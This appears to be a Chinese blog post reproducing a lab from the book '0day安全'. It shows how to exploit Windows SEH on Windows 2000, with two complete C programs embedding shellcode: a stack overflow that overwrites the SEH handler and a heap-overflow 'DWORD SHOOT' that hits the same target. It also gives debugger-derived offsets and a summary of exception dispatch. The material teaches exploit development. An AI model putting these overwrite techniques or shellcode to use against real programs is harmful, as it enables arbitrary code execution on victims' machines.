《0day安全》——狙击Windows异常处理机制(SEH)

2024-02-20 01:38

本文主要是介绍《0day安全》——狙击Windows异常处理机制(SEH),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

SEH的异常处理模型主要由__try __except语句来完成,与标准的try catch相似。


在栈溢出中利用SEH

#include "stdafx.h"
#include "stdio.h"
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x73\x75\x6E\x72\x68\x73\x75\x6E\x72\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x98\xFE\x12\x00";
void MyExceptionhandler(void)
{printf("got an execption, press Enter to kill process\n");getchar();ExitProcess(1);
}void test(char * input)
{char buf[200];int zero = 0;//__asm int 3__try{strcpy(buf, input);zero = 5 / zero;}__except(MyExceptionhandler()){}
}
int main()
{test(shellcode);return 0;
}

对代码简要解释:
 1.函数 test 中存在典型的栈溢出漏洞。
 2.__try{}会在 test 的函数栈帧中安装一个 SEH 结构。
 3.__try 中的除零操作会产生一个异常。
 4.当 strcpy 操作没有产生溢出时,除零操作的异常将最终被 MyExceptionhandler 函数处理。
 5.当 strcpy 操作产生溢出,并精确地将栈帧中的 SEH 异常处理句柄修改为 shellcode 的入口地址时,操作系统将会错误地使用shellcode 去处理除零异常,也就是说,代码植入成功。
 6.此外,异常处理机制与堆分配机制类似,会检测进程是否处于调试状态。如果直接使用调试器加载程序,异常处理会进入调试状态下的处理流程。因此,我们这里同样采用直接在代码中加入断点_asm int 3,让进程自动中断后再用调试器 attach 的方法进行调试。

这个实验的关键在于确定栈帧中 S.E.H 回调句柄的偏移,然后布置缓冲区,精确地淹没这个位置,将该句柄修改为 shellcode 的起始位置。

 环境备注
操作系统Windows2000Windows XP SP2和Windows 2003加入了S.E.H的安全检验
编译器vc++6.0 
编译选项默认
buildrelease版本debug版本会失败

调试看看,停在test函数的int3处,先看看前一些的代码,首先会在test函数的栈帧中安装一个SEH结构。其实就是先将我们自定义的异常处理的函数的首地址压入栈,将最上面的也压入栈,更新最上面的SEH的值。
在这里插入图片描述
观察strcpy和除以0实现
在这里插入图片描述
在字符串复制操作完毕后,数组中的 0x90 能够帮我们在调试器中轻易地确定 shellcode 的起始位置 0x0012FE98
在这里插入图片描述
OllyDbg 当前线程一共安装了 3 个 SEH,离栈顶最近的位于 0x0012FF68,如果在当前函数内发生异常,首先使用的将是这个 SEH。
在这里插入图片描述
剩下的工作就是组织缓冲区,把 0x0012FF6C 处的回调句柄修改成 shellcode 的起始地址0x0012FE98。
缓冲区起始地址 0x0012FE98 与异常句柄 0x0012FF6C 之间共有 212 个字节的间隙,也就是说,超出缓冲区 12 个字节后的部分将覆盖 SEH。
仍然使用弹出“ sunrsunr”消息框的 shellcode 进行测试,将不足 212 字节的部分用 0x90 字节补齐;213~216 字节使用0x0012FE98 填充,用于更改异常回调函数的句柄;最后删去代码中的中断指令_asm int 3。

在这里插入图片描述
成功


在堆溢出中利用SEH

#include "stdafx.h"
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x73\x75\x6E\x72\x68\x73\x75\x6E\x72\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x36\x00"// 0x00360688 is the address of shellcode in first heap block, you have to make sure this address via debug 
"\x30\xFF\x12\x00";//target of DWORD SHOOT
void MyExceptionhandler(void)
{
ExitProcess(1);
}
int main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
memcpy(h1,shellcode,0x200);// over flow here, noticed 0x200 means
__asm int 3 // uesd to break the process
__try
{
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
}
__except(MyExceptionhandler()){}
return 0;
}

对代码简要解释:
 1.溢出第一个堆块的数据将写入后面的空闲堆块,在第二次堆分配时发生 DWORDSHOOT。
 2.将 S.E.H 的异常回调函数地址作为 DWORD SHOOT 的目标,将其替换为 shellcode 的入口地址,异常发生后,操作系统将错误地把 shellcode 当作异常处理函数而执行。

 环境备注
操作系统Windows2000Windows XP SP2和Windows 2003加入了S.E.H的安全检验
编译器vc++6.0 
编译选项默认
buildrelease版本debug版本会失败

除了 DWORD SHOOT 的 target 不一样之外,缓冲区内其余的数据都和前面讲代码植入一样。首先,我们把最后 4 个字节的target 设置为 0x90909090,这显然是一个无效的内存地址,因此会触发异常。我们所需要做的就是在程序运行时,找到 SEH 的位置,然后把 DWORD SHOOT 的 target 指向 S.E.H 的回调句柄。
首先应当确认 OllyDbg 能够捕捉所有的异常,方法是查看菜单“options”下的“debugging option”中“ Exceptions”选项中没有忽略任何类型的异常。
在这里插入图片描述
然后按照实验要求将代码编译运行,程序会自动中断,使用 OllyDbg attach 到进程上,直接按 F9 键继续执行。
DWORD SHO OT 发生后,程序产生异常。 OllyDbg 捕捉到异常后会自动中断。
在这里插入图片描述
这时查看栈中的 SEH 情况,发现离第一个 SEH 位于 0x0012FF2C 的地方,那么异常回调函数的句柄应该位于这个地址后 4 个字节的位置 0x0012FF30。现在,将 DWORD SHOOT 的目标地址由 0x90909090 改为0x0012FF30,去掉程序中的中断指令,重新编译运行。在这里插入图片描述

消息框成功的弹出,证明 shellcode 得到了执行。在这里插入图片描述


异常处理流程的总结

 1.CPU 执行时发生并捕获异常,内核接过进程的控制权,开始内核态的异常处理。
 2.内核异常处理结束,将控制权还给 ring3。
 3.ring3 中第一个处理异常的函数是 ntdll.dll 中的 KiUserExceptionDispatcher()函数。
 4.KiUserExceptionDispatcher()首先检查程序是否处于调试状态。如果程序正在被调试,会将异常交给调试器进行处理。
 5.在非调试状态下, KiUserExceptionDispatcher()调用 RtlDispatchException()函数对线程的 S.E.H 链表进行遍历,如果找到能够处理异常的回调函数,将再次遍历先前调用过的 S.E.H 句柄,即 unwind 操作,以保证异常处理机制自身的完整性。
 6.如果栈中所有的 S.E.H 都失败了,且用户曾经使用过 SetUnhandledExceptionFilter()函数设定进程异常处理,则这个异常处理将被调用。
 7.如果用户自定义的进程异常处理失败,或者用户根本没有定义进程异常处理,那么系统默认的异常处理 UnhandledExceptionFilter()将被调用。 U.E.F 会根据注册表里的相关信息决定是默默地关闭程序,还是弹出错误对话框。
 以上就是 Windows 异常处理的基本流程。需要额外注意的是,这个流程是基于 Windows2000 平 台 的 , Windows XP 及 其 以 后 的 操 作 系 统 的 异 常 处 理 流 程 大 致 相 同 , 只 是KiUserExceptionDispatcher()在遍历栈帧中的 S.E.H 之前,会去先尝试一种新加入的异常处理类型 V.E.H( Vectored Exception Handling)。

这篇关于《0day安全》——狙击Windows异常处理机制(SEH)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/726652

相关文章

JVM 的类初始化机制

前言 当你在 Java 程序中new对象时,有没有考虑过 JVM 是如何把静态的字节码(byte code)转化为运行时对象的呢,这个问题看似简单,但清楚的同学相信也不会太多,这篇文章首先介绍 JVM 类初始化的机制,然后给出几个易出错的实例来分析,帮助大家更好理解这个知识点。 JVM 将字节码转化为运行时对象分为三个阶段,分别是:loading 、Linking、initialization

无人叉车3d激光slam多房间建图定位异常处理方案-墙体画线地图切分方案

墙体画线地图切分方案 针对问题:墙体两侧特征混淆误匹配,导致建图和定位偏差,表现为过门跳变、外月台走歪等 ·解决思路:预期的根治方案IGICP需要较长时间完成上线,先使用切分地图的工程化方案,即墙体两侧切分为不同地图,在某一侧只使用该侧地图进行定位 方案思路 切分原理:切分地图基于关键帧位置,而非点云。 理论基础:光照是直线的,一帧点云必定只能照射到墙的一侧,无法同时照到两侧实践考虑:关

客户案例:安全海外中继助力知名家电企业化解海外通邮困境

1、客户背景 广东格兰仕集团有限公司(以下简称“格兰仕”),成立于1978年,是中国家电行业的领军企业之一。作为全球最大的微波炉生产基地,格兰仕拥有多项国际领先的家电制造技术,连续多年位列中国家电出口前列。格兰仕不仅注重业务的全球拓展,更重视业务流程的高效与顺畅,以确保在国际舞台上的竞争力。 2、需求痛点 随着格兰仕全球化战略的深入实施,其海外业务快速增长,电子邮件成为了关键的沟通工具。

【生成模型系列(初级)】嵌入(Embedding)方程——自然语言处理的数学灵魂【通俗理解】

【通俗理解】嵌入(Embedding)方程——自然语言处理的数学灵魂 关键词提炼 #嵌入方程 #自然语言处理 #词向量 #机器学习 #神经网络 #向量空间模型 #Siri #Google翻译 #AlexNet 第一节:嵌入方程的类比与核心概念【尽可能通俗】 嵌入方程可以被看作是自然语言处理中的“翻译机”,它将文本中的单词或短语转换成计算机能够理解的数学形式,即向量。 正如翻译机将一种语言

安全管理体系化的智慧油站开源了。

AI视频监控平台简介 AI视频监控平台是一款功能强大且简单易用的实时算法视频监控系统。它的愿景是最底层打通各大芯片厂商相互间的壁垒,省去繁琐重复的适配流程,实现芯片、算法、应用的全流程组合,从而大大减少企业级应用约95%的开发成本。用户只需在界面上进行简单的操作,就可以实现全视频的接入及布控。摄像头管理模块用于多种终端设备、智能设备的接入及管理。平台支持包括摄像头等终端感知设备接入,为整个平台提

Java ArrayList扩容机制 (源码解读)

结论:初始长度为10,若所需长度小于1.5倍原长度,则按照1.5倍扩容。若不够用则按照所需长度扩容。 一. 明确类内部重要变量含义         1:数组默认长度         2:这是一个共享的空数组实例,用于明确创建长度为0时的ArrayList ,比如通过 new ArrayList<>(0),ArrayList 内部的数组 elementData 会指向这个 EMPTY_EL

2024网安周今日开幕,亚信安全亮相30城

2024年国家网络安全宣传周今天在广州拉开帷幕。今年网安周继续以“网络安全为人民,网络安全靠人民”为主题。2024年国家网络安全宣传周涵盖了1场开幕式、1场高峰论坛、5个重要活动、15场分论坛/座谈会/闭门会、6个主题日活动和网络安全“六进”活动。亚信安全出席2024年国家网络安全宣传周开幕式和主论坛,并将通过线下宣讲、创意科普、成果展示等多种形式,让广大民众看得懂、记得住安全知识,同时还

【编程底层思考】垃圾收集机制,GC算法,垃圾收集器类型概述

Java的垃圾收集(Garbage Collection,GC)机制是Java语言的一大特色,它负责自动管理内存的回收,释放不再使用的对象所占用的内存。以下是对Java垃圾收集机制的详细介绍: 一、垃圾收集机制概述: 对象存活判断:垃圾收集器定期检查堆内存中的对象,判断哪些对象是“垃圾”,即不再被任何引用链直接或间接引用的对象。内存回收:将判断为垃圾的对象占用的内存进行回收,以便重新使用。

【Tools】大模型中的自注意力机制

摇来摇去摇碎点点的金黄 伸手牵来一片梦的霞光 南方的小巷推开多情的门窗 年轻和我们歌唱 摇来摇去摇着温柔的阳光 轻轻托起一件梦的衣裳 古老的都市每天都改变模样                      🎵 方芳《摇太阳》 自注意力机制(Self-Attention)是一种在Transformer等大模型中经常使用的注意力机制。该机制通过对输入序列中的每个元素计算与其他元素之间的相似性,

如何通俗理解注意力机制?

1、注意力机制(Attention Mechanism)是机器学习和深度学习中一种模拟人类注意力的方法,用于提高模型在处理大量信息时的效率和效果。通俗地理解,它就像是在一堆信息中找到最重要的部分,把注意力集中在这些关键点上,从而更好地完成任务。以下是几个简单的比喻来帮助理解注意力机制: 2、寻找重点:想象一下,你在阅读一篇文章的时候,有些段落特别重要,你会特别注意这些段落,反复阅读,而对其他部分